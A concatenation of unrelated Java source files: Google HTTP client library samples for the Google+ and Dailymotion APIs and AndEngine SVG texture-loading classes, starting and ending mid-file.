ByteArrayOutputStream bos = new ByteArrayOutputStream();
JPEGImageEncoder jpeg = JPEGCodec.createJPEGEncoder(bos);
try {
jpeg.encode(image);
byte[] bts = bos.toByteArray();
inputStream = new ByteArrayInputStream(bts);
} catch (ImageFormatException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return inputStream;
}
}
| Java |
/*
* Copyright (c) 2011 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.api.services.samples.googleplus.cmdline.simple;
import com.google.api.client.http.GenericUrl;
import com.google.api.client.http.HttpRequest;
import com.google.api.client.http.HttpRequestFactory;
import com.google.api.client.http.HttpRequestInitializer;
import com.google.api.client.http.HttpResponse;
import com.google.api.client.http.HttpResponseException;
import com.google.api.client.http.HttpTransport;
import com.google.api.client.http.javanet.NetHttpTransport;
import com.google.api.client.json.GenericJson;
import com.google.api.client.json.JsonFactory;
import com.google.api.client.json.JsonObjectParser;
import com.google.api.client.json.jackson2.JacksonFactory;
import com.google.api.client.util.Key;
import java.io.IOException;
import java.util.List;
/**
* Simple example that demonstrates how to use <a
* href="code.google.com/p/google-http-java-client/">Google HTTP Client Library for Java</a> with
* the <a href="https://developers.google.com/+/api/">Google+ API</a>.
*
* <p>
* Note that in the case of the Google+ API, there is a much better custom library built on top of
* this HTTP library that is much easier to use and hides most of these details for you. See <a
* href="http://code.google.com/p/google-api-java-client/wiki/APIs#Google+_API">Google+ API for
* Java</a>.
* </p>
*
* @author Yaniv Inbar
*/
public class GooglePlusSample {
private static final String API_KEY =
"Enter API Key from https://code.google.com/apis/console/?api=plus into API_KEY";
private static final String USER_ID = "116899029375914044550";
private static final int MAX_RESULTS = 3;
static final HttpTransport HTTP_TRANSPORT = new NetHttpTransport();
static final JsonFactory JSON_FACTORY = new JacksonFactory();
/** Feed of Google+ activities. */
public static class ActivityFeed {
/** List of Google+ activities. */
@Key("items")
private List<Activity> activities;
public List<Activity> getActivities() {
return activities;
}
}
/** Google+ activity. */
public static class Activity extends GenericJson {
/** Activity URL. */
@Key
private String url;
public String getUrl() {
return url;
}
/** Activity object. */
@Key("object")
private ActivityObject activityObject;
public ActivityObject getActivityObject() {
return activityObject;
}
}
/** Google+ activity object. */
public static class ActivityObject {
/** HTML-formatted content. */
@Key
private String content;
public String getContent() {
return content;
}
/** People who +1'd this activity. */
@Key
private PlusOners plusoners;
public PlusOners getPlusOners() {
return plusoners;
}
}
/** People who +1'd an activity. */
public static class PlusOners {
/** Total number of people who +1'd this activity. */
@Key
private long totalItems;
public long getTotalItems() {
return totalItems;
}
}
/** Google+ URL. */
public static class PlusUrl extends GenericUrl {
public PlusUrl(String encodedUrl) {
super(encodedUrl);
}
@SuppressWarnings("unused")
@Key
private final String key = API_KEY;
/** Maximum number of results. */
@Key
private int maxResults;
public int getMaxResults() {
return maxResults;
}
public PlusUrl setMaxResults(int maxResults) {
this.maxResults = maxResults;
return this;
}
/** Lists the public activities for the given Google+ user ID. */
public static PlusUrl listPublicActivities(String userId) {
return new PlusUrl(
"https://www.googleapis.com/plus/v1/people/" + userId + "/activities/public");
}
}
private static void parseResponse(HttpResponse response) throws IOException {
ActivityFeed feed = response.parseAs(ActivityFeed.class);
if (feed.getActivities().isEmpty()) {
System.out.println("No activities found.");
} else {
if (feed.getActivities().size() == MAX_RESULTS) {
System.out.print("First ");
}
System.out.println(feed.getActivities().size() + " activities found:");
for (Activity activity : feed.getActivities()) {
System.out.println();
System.out.println("-----------------------------------------------");
System.out.println("HTML Content: " + activity.getActivityObject().getContent());
System.out.println("+1's: " + activity.getActivityObject().getPlusOners().getTotalItems());
System.out.println("URL: " + activity.getUrl());
System.out.println("ID: " + activity.get("id"));
}
}
}
private static void run() throws IOException {
HttpRequestFactory requestFactory =
HTTP_TRANSPORT.createRequestFactory(new HttpRequestInitializer() {
@Override
public void initialize(HttpRequest request) {
request.setParser(new JsonObjectParser(JSON_FACTORY));
}
});
PlusUrl url = PlusUrl.listPublicActivities(USER_ID).setMaxResults(MAX_RESULTS);
url.put("fields", "items(id,url,object(content,plusoners/totalItems))");
HttpRequest request = requestFactory.buildGetRequest(url);
parseResponse(request.execute());
}
public static void main(String[] args) {
if (API_KEY.startsWith("Enter ")) {
System.err.println(API_KEY);
System.exit(1);
}
try {
try {
run();
return;
} catch (HttpResponseException e) {
System.err.println(e.getMessage());
}
} catch (Throwable t) {
t.printStackTrace();
}
System.exit(1);
}
}
| Java |
/*
* Copyright (c) 2011 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.api.services.samples.dailymotion.cmdline.simple;
import com.google.api.client.http.GenericUrl;
import com.google.api.client.http.HttpRequest;
import com.google.api.client.http.HttpRequestFactory;
import com.google.api.client.http.HttpRequestInitializer;
import com.google.api.client.http.HttpResponseException;
import com.google.api.client.http.HttpTransport;
import com.google.api.client.http.javanet.NetHttpTransport;
import com.google.api.client.json.JsonFactory;
import com.google.api.client.json.JsonObjectParser;
import com.google.api.client.json.jackson2.JacksonFactory;
import com.google.api.client.util.Key;
import java.util.List;
/**
* Simple example for the <a href="http://www.dailymotion.com/doc/api/graph-api.html">Dailymotion
* Graph API</a>.
*
* @author Yaniv Inbar
*/
public class DailyMotionSample {
static final HttpTransport HTTP_TRANSPORT = new NetHttpTransport();
static final JsonFactory JSON_FACTORY = new JacksonFactory();
/** Represents a video feed. */
public static class VideoFeed {
@Key
public List<Video> list;
@Key("has_more")
public boolean hasMore;
}
/** Represents a video. */
public static class Video {
@Key
public String id;
@Key
public List<String> tags;
@Key
public String title;
@Key
public String url;
}
/** URL for Dailymotion API. */
public static class DailyMotionUrl extends GenericUrl {
public DailyMotionUrl(String encodedUrl) {
super(encodedUrl);
}
@Key
public String fields;
}
private static void run() throws Exception {
HttpRequestFactory requestFactory =
HTTP_TRANSPORT.createRequestFactory(new HttpRequestInitializer() {
@Override
public void initialize(HttpRequest request) {
request.setParser(new JsonObjectParser(JSON_FACTORY));
}
});
DailyMotionUrl url = new DailyMotionUrl("https://api.dailymotion.com/videos/");
url.fields = "id,tags,title,url";
HttpRequest request = requestFactory.buildGetRequest(url);
VideoFeed videoFeed = request.execute().parseAs(VideoFeed.class);
if (videoFeed.list.isEmpty()) {
System.out.println("No videos found.");
} else {
if (videoFeed.hasMore) {
System.out.print("First ");
}
System.out.println(videoFeed.list.size() + " videos found:");
for (Video video : videoFeed.list) {
System.out.println();
System.out.println("-----------------------------------------------");
System.out.println("ID: " + video.id);
System.out.println("Title: " + video.title);
System.out.println("Tags: " + video.tags);
System.out.println("URL: " + video.url);
}
}
}
public static void main(String[] args) {
try {
try {
run();
return;
} catch (HttpResponseException e) {
System.err.println(e.getMessage());
}
} catch (Throwable t) {
t.printStackTrace();
}
System.exit(1);
}
}
| Java |
package org.anddev.andengine.extension.svg.exception;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 17:00:21 - 21.05.2011
*/
public class SVGParseException extends RuntimeException {
// ===========================================================
// Constants
// ===========================================================
private static final long serialVersionUID = 7090913212278249388L;
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
public SVGParseException() {
}
public SVGParseException(final String pMessage) {
super(pMessage);
}
public SVGParseException(final String pMessage, final Throwable pThrowable) {
super(pMessage, pThrowable);
}
public SVGParseException(final Throwable pThrowable) {
super(pThrowable);
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.opengl.texture.source;
import org.anddev.andengine.extension.svg.SVGParser;
import org.anddev.andengine.extension.svg.adt.ISVGColorMapper;
import org.anddev.andengine.extension.svg.adt.SVG;
import org.anddev.andengine.util.Debug;
import android.content.Context;
/**
* @author Nicolas Gramlich
* @since 13:22:48 - 21.05.2011
*/
public class SVGAssetTextureSource extends SVGBaseTextureSource {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final Context mContext;
private final String mAssetPath;
private final ISVGColorMapper mSVGColorMapper;
// ===========================================================
// Constructors
// ===========================================================
public SVGAssetTextureSource(final Context pContext, final String pAssetPath) {
this(pContext, pAssetPath, null);
}
public SVGAssetTextureSource(final Context pContext, final String pAssetPath, final int pWidth, final int pHeight) {
this(pContext, pAssetPath, pWidth, pHeight, null);
}
public SVGAssetTextureSource(final Context pContext, final String pAssetPath, final float pScale) {
this(pContext, pAssetPath, pScale, null);
}
public SVGAssetTextureSource(final Context pContext, final String pAssetPath, final ISVGColorMapper pSVGColorMapper) {
super(SVGAssetTextureSource.getSVG(pContext, pAssetPath, pSVGColorMapper));
this.mContext = pContext;
this.mAssetPath = pAssetPath;
this.mSVGColorMapper = pSVGColorMapper;
}
public SVGAssetTextureSource(final Context pContext, final String pAssetPath, final float pScale, final ISVGColorMapper pSVGColorMapper) {
super(SVGAssetTextureSource.getSVG(pContext, pAssetPath, pSVGColorMapper), pScale);
this.mContext = pContext;
this.mAssetPath = pAssetPath;
this.mSVGColorMapper = pSVGColorMapper;
}
public SVGAssetTextureSource(final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper) {
super(SVGAssetTextureSource.getSVG(pContext, pAssetPath, pSVGColorMapper), pWidth, pHeight);
this.mContext = pContext;
this.mAssetPath = pAssetPath;
this.mSVGColorMapper = pSVGColorMapper;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public SVGAssetTextureSource clone() {
return new SVGAssetTextureSource(this.mContext, this.mAssetPath, this.mWidth, this.mHeight, this.mSVGColorMapper);
}
// ===========================================================
// Methods
// ===========================================================
private static SVG getSVG(final Context pContext, final String pAssetPath, final ISVGColorMapper pSVGColorMapper) {
try {
return SVGParser.parseSVGFromAsset(pContext.getAssets(), pAssetPath, pSVGColorMapper);
} catch (final Throwable t) {
Debug.e("Failed loading SVG in SVGAssetTextureSource. AssetPath: " + pAssetPath, t);
return null;
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.opengl.texture.source;
import org.anddev.andengine.extension.svg.adt.SVG;
import org.anddev.andengine.opengl.texture.source.PictureTextureSource;
import org.anddev.andengine.util.Debug;
/**
* @author Nicolas Gramlich
* @since 13:34:55 - 21.05.2011
*/
public class SVGBaseTextureSource extends PictureTextureSource {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final SVG mSVG;
// ===========================================================
// Constructors
// ===========================================================
public SVGBaseTextureSource(final SVG pSVG) {
super(pSVG.getPicture());
this.mSVG = pSVG;
}
public SVGBaseTextureSource(final SVG pSVG, final float pScale) {
super(pSVG.getPicture(), pScale);
this.mSVG = pSVG;
}
public SVGBaseTextureSource(final SVG pSVG, final int pWidth, final int pHeight) {
super(pSVG.getPicture(), pWidth, pHeight);
this.mSVG = pSVG;
}
@Override
public SVGBaseTextureSource clone() {
Debug.w("SVGBaseTextureSource.clone() does not actually clone the SVG!");
return new SVGBaseTextureSource(this.mSVG, this.mWidth, this.mHeight);
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.opengl.texture.source;
import org.anddev.andengine.extension.svg.SVGParser;
import org.anddev.andengine.extension.svg.adt.ISVGColorMapper;
import org.anddev.andengine.extension.svg.adt.SVG;
import org.anddev.andengine.util.Debug;
import android.content.Context;
/**
* @author Nicolas Gramlich
* @since 13:22:48 - 21.05.2011
*/
public class SVGResourceTextureSource extends SVGBaseTextureSource {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final Context mContext;
private final int mRawResourceID;
private final ISVGColorMapper mSVGColorMapper;
// ===========================================================
// Constructors
// ===========================================================
public SVGResourceTextureSource(final Context pContext, final int pRawResourceID) {
this(pContext, pRawResourceID, null);
}
public SVGResourceTextureSource(final Context pContext, final int pRawResourceID, final float pScale) {
this(pContext, pRawResourceID, pScale, null);
}
public SVGResourceTextureSource(final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight) {
this(pContext, pRawResourceID, pWidth, pHeight, null);
}
public SVGResourceTextureSource(final Context pContext, final int pRawResourceID, final ISVGColorMapper pSVGColorMapper) {
super(SVGResourceTextureSource.getSVG(pContext, pRawResourceID, pSVGColorMapper));
this.mContext = pContext;
this.mRawResourceID = pRawResourceID;
this.mSVGColorMapper = pSVGColorMapper;
}
public SVGResourceTextureSource(final Context pContext, final int pRawResourceID, final float pScale, final ISVGColorMapper pSVGColorMapper) {
super(SVGResourceTextureSource.getSVG(pContext, pRawResourceID, pSVGColorMapper), pScale);
this.mContext = pContext;
this.mRawResourceID = pRawResourceID;
this.mSVGColorMapper = pSVGColorMapper;
}
public SVGResourceTextureSource(final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper) {
super(SVGResourceTextureSource.getSVG(pContext, pRawResourceID, pSVGColorMapper), pWidth, pHeight);
this.mContext = pContext;
this.mRawResourceID = pRawResourceID;
this.mSVGColorMapper = pSVGColorMapper;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public SVGResourceTextureSource clone() {
return new SVGResourceTextureSource(this.mContext, this.mRawResourceID, this.mWidth, this.mHeight, this.mSVGColorMapper);
}
// ===========================================================
// Methods
// ===========================================================
private static SVG getSVG(final Context pContext, final int pRawResourceID, final ISVGColorMapper pSVGColorMapper) {
try {
return SVGParser.parseSVGFromResource(pContext.getResources(), pRawResourceID, pSVGColorMapper);
} catch (final Throwable t) {
Debug.e("Failed loading SVG in SVGResourceTextureSource. RawResourceID: " + pRawResourceID, t);
return null;
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.opengl.texture.region;
import org.anddev.andengine.extension.svg.adt.ISVGColorMapper;
import org.anddev.andengine.extension.svg.adt.SVG;
import org.anddev.andengine.extension.svg.opengl.texture.source.SVGAssetTextureSource;
import org.anddev.andengine.extension.svg.opengl.texture.source.SVGBaseTextureSource;
import org.anddev.andengine.extension.svg.opengl.texture.source.SVGResourceTextureSource;
import org.anddev.andengine.opengl.texture.BuildableTexture;
import org.anddev.andengine.opengl.texture.Texture;
import org.anddev.andengine.opengl.texture.region.TextureRegion;
import org.anddev.andengine.opengl.texture.region.TextureRegionFactory;
import org.anddev.andengine.opengl.texture.region.TiledTextureRegion;
import org.anddev.andengine.opengl.texture.source.ITextureSource;
import android.content.Context;
/**
* TODO Add possibility to set the bounds/clipping to be rendered. Useful to render only a specific region of a big svg file, which could be a spritesheet.
*
* @author Nicolas Gramlich
* @since 12:47:31 - 21.05.2011
*/
public class SVGTextureRegionFactory {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private static String sAssetBasePath = "";
private static float sScaleFactor = 1;
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
/**
* @param pAssetBasePath must end with '<code>/</code>' or have <code>.length() == 0</code>.
*/
public static void setAssetBasePath(final String pAssetBasePath) {
if(pAssetBasePath.endsWith("/") || pAssetBasePath.length() == 0) {
SVGTextureRegionFactory.sAssetBasePath = pAssetBasePath;
} else {
throw new IllegalArgumentException("pAssetBasePath must end with '/' or be lenght zero.");
}
}
/**
* @param pScaleFactor must be > 0;
*/
public static void setScaleFactor(final float pScaleFactor) {
if(pScaleFactor > 0) {
SVGTextureRegionFactory.sScaleFactor = pScaleFactor;
} else {
throw new IllegalArgumentException("pScaleFactor must be greater than zero.");
}
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
private static int applyScaleFactor(final int pInt) {
return Math.round(pInt * SVGTextureRegionFactory.sScaleFactor);
}
// ===========================================================
// Methods using Texture
// ===========================================================
public static TextureRegion createFromSVG(final Texture pTexture, final SVG pSVG, final int pWidth, final int pHeight, final int pTexturePositionX, final int pTexturePositionY) {
final ITextureSource textureSource = new SVGBaseTextureSource(pSVG, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight));
return TextureRegionFactory.createFromSource(pTexture, textureSource, pTexturePositionX, pTexturePositionY);
}
public static TiledTextureRegion createTiledFromSVG(final Texture pTexture, final SVG pSVG, final int pWidth, final int pHeight, final int pTexturePositionX, final int pTexturePositionY, final int pTileColumns, final int pTileRows) {
final ITextureSource textureSource = new SVGBaseTextureSource(pSVG, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight));
return TextureRegionFactory.createTiledFromSource(pTexture, textureSource, pTexturePositionX, pTexturePositionY, pTileColumns, pTileRows);
}
public static TextureRegion createFromAsset(final Texture pTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final int pTexturePositionX, final int pTexturePositionY) {
return SVGTextureRegionFactory.createFromAsset(pTexture, pContext, pAssetPath, pWidth, pHeight, null, pTexturePositionX, pTexturePositionY);
}
public static TiledTextureRegion createTiledFromAsset(final Texture pTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final int pTexturePositionX, final int pTexturePositionY, final int pTileColumns, final int pTileRows) {
return SVGTextureRegionFactory.createTiledFromAsset(pTexture, pContext, pAssetPath, pWidth, pHeight, null, pTexturePositionX, pTexturePositionY, pTileColumns, pTileRows);
}
public static TextureRegion createFromAsset(final Texture pTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper, final int pTexturePositionX, final int pTexturePositionY) {
final ITextureSource textureSource = new SVGAssetTextureSource(pContext, SVGTextureRegionFactory.sAssetBasePath + pAssetPath, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createFromSource(pTexture, textureSource, pTexturePositionX, pTexturePositionY);
}
public static TiledTextureRegion createTiledFromAsset(final Texture pTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper, final int pTexturePositionX, final int pTexturePositionY, final int pTileColumns, final int pTileRows) {
final ITextureSource textureSource = new SVGAssetTextureSource(pContext, SVGTextureRegionFactory.sAssetBasePath + pAssetPath, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createTiledFromSource(pTexture, textureSource, pTexturePositionX, pTexturePositionY, pTileColumns, pTileRows);
}
public static TextureRegion createFromResource(final Texture pTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final int pTexturePositionX, final int pTexturePositionY) {
return SVGTextureRegionFactory.createFromResource(pTexture, pContext, pRawResourceID, pWidth, pHeight, null, pTexturePositionX, pTexturePositionY);
}
public static TiledTextureRegion createTiledFromResource(final Texture pTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final int pTexturePositionX, final int pTexturePositionY, final int pTileColumns, final int pTileRows) {
return SVGTextureRegionFactory.createTiledFromResource(pTexture, pContext, pRawResourceID, pWidth, pHeight, null, pTexturePositionX, pTexturePositionY, pTileColumns, pTileRows);
}
public static TextureRegion createFromResource(final Texture pTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper, final int pTexturePositionX, final int pTexturePositionY) {
final ITextureSource textureSource = new SVGResourceTextureSource(pContext, pRawResourceID, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createFromSource(pTexture, textureSource, pTexturePositionX, pTexturePositionY);
}
public static TiledTextureRegion createTiledFromResource(final Texture pTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper, final int pTexturePositionX, final int pTexturePositionY, final int pTileColumns, final int pTileRows) {
final ITextureSource textureSource = new SVGResourceTextureSource(pContext, pRawResourceID, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createTiledFromSource(pTexture, textureSource, pTexturePositionX, pTexturePositionY, pTileColumns, pTileRows);
}
// ===========================================================
// Methods using BuildableTexture
// ===========================================================
public static TextureRegion createFromSVG(final BuildableTexture pBuildableTexture, final SVG pSVG, final int pWidth, final int pHeight) {
final ITextureSource textureSource = new SVGBaseTextureSource(pSVG, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight));
return TextureRegionFactory.createFromSource(pBuildableTexture, textureSource);
}
public static TiledTextureRegion createTiledFromSVG(final BuildableTexture pBuildableTexture, final SVG pSVG, final int pWidth, final int pHeight, final int pTileColumns, final int pTileRows) {
final ITextureSource textureSource = new SVGBaseTextureSource(pSVG, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight));
return TextureRegionFactory.createTiledFromSource(pBuildableTexture, textureSource, pTileColumns, pTileRows);
}
public static TextureRegion createFromAsset(final BuildableTexture pBuildableTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight) {
return SVGTextureRegionFactory.createFromAsset(pBuildableTexture, pContext, pAssetPath, pWidth, pHeight, null);
}
public static TiledTextureRegion createTiledFromAsset(final BuildableTexture pBuildableTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final int pTileColumns, final int pTileRows) {
return SVGTextureRegionFactory.createTiledFromAsset(pBuildableTexture, pContext, pAssetPath, pWidth, pHeight, null, pTileColumns, pTileRows);
}
public static TextureRegion createFromAsset(final BuildableTexture pBuildableTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper) {
final ITextureSource textureSource = new SVGAssetTextureSource(pContext, SVGTextureRegionFactory.sAssetBasePath + pAssetPath, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createFromSource(pBuildableTexture, textureSource);
}
public static TiledTextureRegion createTiledFromAsset(final BuildableTexture pBuildableTexture, final Context pContext, final String pAssetPath, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper, final int pTileColumns, final int pTileRows) {
final ITextureSource textureSource = new SVGAssetTextureSource(pContext, SVGTextureRegionFactory.sAssetBasePath + pAssetPath, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createTiledFromSource(pBuildableTexture, textureSource, pTileColumns, pTileRows);
}
public static TextureRegion createFromResource(final BuildableTexture pBuildableTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight) {
return SVGTextureRegionFactory.createFromResource(pBuildableTexture, pContext, pRawResourceID, pWidth, pHeight, null);
}
public static TiledTextureRegion createTiledFromResource(final BuildableTexture pBuildableTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final int pTileColumns, final int pTileRows) {
return SVGTextureRegionFactory.createTiledFromResource(pBuildableTexture, pContext, pRawResourceID, pWidth, pHeight, null, pTileColumns, pTileRows);
}
public static TextureRegion createFromResource(final BuildableTexture pBuildableTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper) {
final ITextureSource textureSource = new SVGResourceTextureSource(pContext, pRawResourceID, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createFromSource(pBuildableTexture, textureSource);
}
public static TiledTextureRegion createTiledFromResource(final BuildableTexture pBuildableTexture, final Context pContext, final int pRawResourceID, final int pWidth, final int pHeight, final ISVGColorMapper pSVGColorMapper, final int pTileColumns, final int pTileRows) {
final ITextureSource textureSource = new SVGResourceTextureSource(pContext, pRawResourceID, SVGTextureRegionFactory.applyScaleFactor(pWidth), SVGTextureRegionFactory.applyScaleFactor(pHeight), pSVGColorMapper);
return TextureRegionFactory.createTiledFromSource(pBuildableTexture, textureSource, pTileColumns, pTileRows);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg;
import java.util.Stack;
import org.anddev.andengine.extension.svg.adt.ISVGColorMapper;
import org.anddev.andengine.extension.svg.adt.SVGGradient;
import org.anddev.andengine.extension.svg.adt.SVGGradient.SVGGradientStop;
import org.anddev.andengine.extension.svg.adt.SVGGroup;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.adt.filter.SVGFilter;
import org.anddev.andengine.extension.svg.adt.filter.element.ISVGFilterElement;
import org.anddev.andengine.extension.svg.util.SAXHelper;
import org.anddev.andengine.extension.svg.util.SVGCircleParser;
import org.anddev.andengine.extension.svg.util.SVGEllipseParser;
import org.anddev.andengine.extension.svg.util.SVGLineParser;
import org.anddev.andengine.extension.svg.util.SVGPathParser;
import org.anddev.andengine.extension.svg.util.SVGPolygonParser;
import org.anddev.andengine.extension.svg.util.SVGPolylineParser;
import org.anddev.andengine.extension.svg.util.SVGRectParser;
import org.anddev.andengine.extension.svg.util.SVGTransformParser;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.anddev.andengine.util.Debug;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
import android.graphics.Canvas;
import android.graphics.Matrix;
import android.graphics.Picture;
import android.graphics.RectF;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 16:50:02 - 21.05.2011
*/
public class SVGHandler extends DefaultHandler implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private Canvas mCanvas;
private final Picture mPicture;
private final SVGPaint mSVGPaint;
private boolean mBoundsMode;
private RectF mBounds;
private final Stack<SVGGroup> mSVGGroupStack = new Stack<SVGGroup>();
private final SVGPathParser mSVGPathParser = new SVGPathParser();
private SVGGradient mCurrentSVGGradient;
private SVGFilter mCurrentSVGFilter;
private boolean mHidden;
/** Multi purpose dummy rectangle. */
private final RectF mRect = new RectF();
// ===========================================================
// Constructors
// ===========================================================
public SVGHandler(final Picture pPicture, final ISVGColorMapper pSVGColorMapper) {
this.mPicture = pPicture;
this.mSVGPaint = new SVGPaint(pSVGColorMapper);
}
// ===========================================================
// Getter & Setter
// ===========================================================
public RectF getBounds() {
return this.mBounds;
}
public RectF getComputedBounds() {
return this.mSVGPaint.getComputedBounds();
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void startElement(final String pNamespace, final String pLocalName, final String pQualifiedName, final Attributes pAttributes) throws SAXException {
/* Ignore everything but rectangles in bounds mode. */
if (this.mBoundsMode) {
this.parseBounds(pLocalName, pAttributes);
return;
}
if (pLocalName.equals(TAG_SVG)) {
this.parseSVG(pAttributes);
} else if(pLocalName.equals(TAG_DEFS)) {
// Ignore
} else if(pLocalName.equals(TAG_GROUP)) {
this.parseGroup(pAttributes);
} else if(pLocalName.equals(TAG_LINEARGRADIENT)) {
this.parseLinearGradient(pAttributes);
} else if(pLocalName.equals(TAG_RADIALGRADIENT)) {
this.parseRadialGradient(pAttributes);
} else if(pLocalName.equals(TAG_STOP)) {
this.parseGradientStop(pAttributes);
} else if(pLocalName.equals(TAG_FILTER)) {
this.parseFilter(pAttributes);
} else if(pLocalName.equals(TAG_FILTER_ELEMENT_FEGAUSSIANBLUR)) {
this.parseFilterElementGaussianBlur(pAttributes);
} else if(!this.mHidden) {
if(pLocalName.equals(TAG_RECTANGLE)) {
this.parseRect(pAttributes);
} else if(pLocalName.equals(TAG_LINE)) {
this.parseLine(pAttributes);
} else if(pLocalName.equals(TAG_CIRCLE)) {
this.parseCircle(pAttributes);
} else if(pLocalName.equals(TAG_ELLIPSE)) {
this.parseEllipse(pAttributes);
} else if(pLocalName.equals(TAG_POLYLINE)) {
this.parsePolyline(pAttributes);
} else if(pLocalName.equals(TAG_POLYGON)) {
this.parsePolygon(pAttributes);
} else if(pLocalName.equals(TAG_PATH)) {
this.parsePath(pAttributes);
} else {
Debug.d("Unexpected SVG tag: '" + pLocalName + "'.");
}
} else {
Debug.d("Unexpected SVG tag: '" + pLocalName + "'.");
}
}
@Override
public void endElement(final String pNamespace, final String pLocalName, final String pQualifiedName) throws SAXException {
if (pLocalName.equals(TAG_SVG)) {
this.mPicture.endRecording();
} else if (pLocalName.equals(TAG_GROUP)) {
this.parseGroupEnd();
}
}
// ===========================================================
// Methods
// ===========================================================
